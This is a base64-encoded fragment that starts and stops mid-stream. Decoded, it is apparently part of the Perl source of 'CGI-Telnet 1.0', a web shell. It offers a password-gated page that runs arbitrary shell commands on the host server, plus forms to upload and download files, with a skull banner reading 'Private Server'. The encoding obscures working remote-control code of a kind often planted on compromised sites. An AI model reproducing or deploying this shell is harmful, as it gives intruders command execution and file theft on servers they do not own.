2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgd